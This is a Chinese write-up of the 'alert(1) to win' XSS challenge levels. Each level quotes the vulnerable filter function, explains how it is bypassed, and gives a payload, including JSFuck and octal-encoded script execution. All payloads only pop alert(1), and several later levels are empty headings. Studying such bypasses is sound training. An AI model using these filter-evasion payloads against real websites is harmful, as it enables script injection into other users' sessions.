前言 靶场地址:alert(1) to win
Warmup 源码 1 2 3 function escape (s ) { return '<script>console.log("' +s+'");</script>' ; }
分析 代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("
即可。
payload 1 2 3 4 13个字符 ");alert(1)// 12个字符 ");alert(1,"
Adobe 源码 1 2 3 4 function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; }
分析
代码将输入的双引号加了一个\
进行了转义,这样我们就不能像第一题那样闭合console.log
了,但是没啥影响,有两种方法:
闭合之前的<script>
,然后再写一个<script>
使用\
来转义对"
进行转义的\
,从而绕过对"
的过滤
payload 1 2 3 4 方法一 </script><script>alert(1)// 方法二 \");alert(1)//
JSON 源码 1 2 3 4 function escape(s) { s = JSON.stringify(s); return '<script>console.log(' + s + ');</script>'; }
分析
代码将输入使用JSON.stringify
进行了处理,与第二题的方法一思路相同。
payload 1 </script><script>alert(1)//
Markdown 源码 1 2 3 4 5 6 7 8 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); return text; }
分析 代码进行了三步操作
第一步,将<
和"
转成了HTML实体
第二步,如果存在http://
的字符串, 会可以生成一个a
标签
第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]
格式的字符串,则变为``。
开头对"
和<
进行了编码操作,所以不能直接传入"
来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a
标签中的"
,从而闭合img
标签的alt
属性。
payload 1 [[a|http://onerror=alert(1)//]]
DOM 源码 1 2 3 4 5 6 7 8 9 10 function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" var m = s.split(/#/); // Only slightly contrived at this point. var a = document.createElement('div'); a.appendChild(document['create' + m[0]].apply(document, m.slice(1))); return a.innerHTML; }
分析 代码实现了一个根据输入来创建的DOM
节点的功能。 如果输入是TextNode#foo
,那么执行的代码就是document.createTextNode("foo")
。
常用命令
1 2 3 4 createElement() 创建一个元素节点 createTextNode() 创建一个文本节点 createAttribute() 创建一个属性节点 createComment() 创建一个注释节点
经过尝试,通过createComment()
创建一个注释节点,然后闭合注释可以达到代码执行的目的。
payload 1 2 3 4 34个字符 Comment#><script>alert(1)</script> 32个字符 Comment#><iframe onload=alert(1)
Callback 源码 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/</g, '\\u003c'); return "<script>" + thing[0] + "(" + json +")</script>"; }
分析 代码首先将输入的字符串按照#
分割为两部分,第一部分是回调函数,只能使用大小写字母、[
、]
、'
,第二部分是JSON
数据。 而且后面又将JSON
数据中的尖括号转义成了\\u003c
。 最终的目的依旧是执行JS
代码,thing[0]
部分不一定是一个函数,只要满足要求就OK。 既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。
payload
Skandia 源码 1 2 3 function escape(s) { return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 闭合<script>
标签,但是方法alert(1)
,被转换成大写了,无法执行,尝试编码绕过。
payload 1 </script><img src onerror=alert(1)>
Template 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) { return template.replace( /{(\w+)}/g, function(_, n) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ ", { name : s } ); }
分析 代码对输入的<
、>
、&
、"
、'
、进行了转义,输入的字符串会拼接在{name}
处。 由于没有过滤\
,可以利用JS
的8进制或者16进制编码来绕过。
payload 1 2 3 4 32个字符 \x3cimg src onerror=alert(1)\x3e 26个字符 \x3cstyle/onload=alert(1) //末尾有一个空格
JSON 2 源码 1 2 3 4 5 function escape(s) { s = JSON.stringify(s).replace(/<\/script/gi, ''); return '<script>console.log(' + s + ');</script>'; }
分析 对</script
标签进行了过滤,由于正则中存在i
修饰符,不区分大小写,不能使用大小写混合来绕过。
由于直接将字符串替换为空,可以双写绕过。
payload 1 </s</scriptcript><script>alert(1)//
Callback 2 源码 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/\//g, '\\/'); return "<script>" + thing[0] + "(" + json +")</script>"; }
分析 与第6题的类似,但是转义了/
,导致//
这个注释符无法使用,但是JavaScript
的注释符有三种,分别是//
、/**/
、<!--
可以使用来注释。
payload
Skandia 2 源码 1 2 3 4 5 function escape(s) { if (/[<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 代码过滤了<
、>
。还将所有输入的字母变成了大写,不能借助toUpperCase()
的特性来解了。 可以利用jsfuck
。直接将");alert(1)//
中的alert(1)
用jsfuck
表示。
JSfuck
但是直接使用工具生成的jsfuck
太长了,不过我们还有另一种方法,就是JS
的匿名函数。
我们可以通过这种方法来执行任意方法。
1 []['map']['constructor']('alert(1)')()
由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。
1 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
payload 1 2 3 4 方法一 ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 方法二 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
iframe 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>'; tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)'); return tag.outerHTML; }
分析 只要使youWon
为true
,这样就能执行alert(1)
了。 解决思路是利用到iframe
的特性,当在iframe
中设置了一个name
属性之后, 这个name
属性的值就会变成iframe
中的window
对象的全局。
payload
TI(S)M 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function escape(s) { function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); } function html(s) { return s.replace(/[<>"&]/g, function(s) { return '&#' + s.charCodeAt(0) + ';'; }); } return ( '<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>' ); }
分析 本题用到了一个小trick
:HTML5
解析器会将<!--<script>
到</script>
之间的任何东西都当作JavaScript
代码处理,同时要确保代码中还有一个-->
来防止解析器报语法错误。
首先输入一个<!--<script>
,此时的输出中
1 2 3 4 5 6 7 8 9 10 <script>var url = "<!--<script>"; // We'll use this later </script> <!-- for debugging --> URL: <!--<script> <!-- then suddenly --> <script> if (!/^http:.*/.test(url)) console.log("Bad url: " + url); else new Image().src = url; </script>
这一段所有的代码都会当做JS
执行。 在后面有个正则表达式!/^http:.*/
,其中的*/
可以当做注释,那么我们在前面再加入一个/*
即可闭合。 此时的输出为
1 2 3 4 5 6 7 8 9 10 <script>var url = "\/*<!--<script>"; // We'll use this later </script> <!-- for debugging --> URL: /*<!--<script> <!-- then suddenly --> <script> if (!/^http:.*/.test(url)) console.log("Bad url: " + url); else new Image().src = url; </script>
在注释符之前添加要执行的代码就可以了。
payload 1 if(alert(1)/*<!--<script>
JSON 3 源码 1 2 3 4 5 6 7 8 function escape(s) { return s.split('#').map(function(v) { // Only 20% of slashes are end tags; save 1.2% of total // bytes by only escaping those. var json = JSON.stringify(v).replace(/<\//g, '<\\/'); return '<script>console.log(' + json + ')</script>'; }).join(''); }
分析 题目思路与上一个题类似,借助<!--<script>
来执行JS代码,不过因为后面没有-->
,解析器会报错,需要我们在后面构造一个-->
来避免报错。
构造的Payload
为``,此时输出为
1 <script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>
其中/script>console.log(")/
被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)
。
payload 1 <!--<script>#)/;alert(1)//-->
Skandia 3 源码 1 2 3 4 5 function escape(s) { if (/[\\<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 payload RFC4627 源码 分析 payload Well 源码 分析 payload No 源码 分析 payload K’Z’K 源码 分析 payload 最后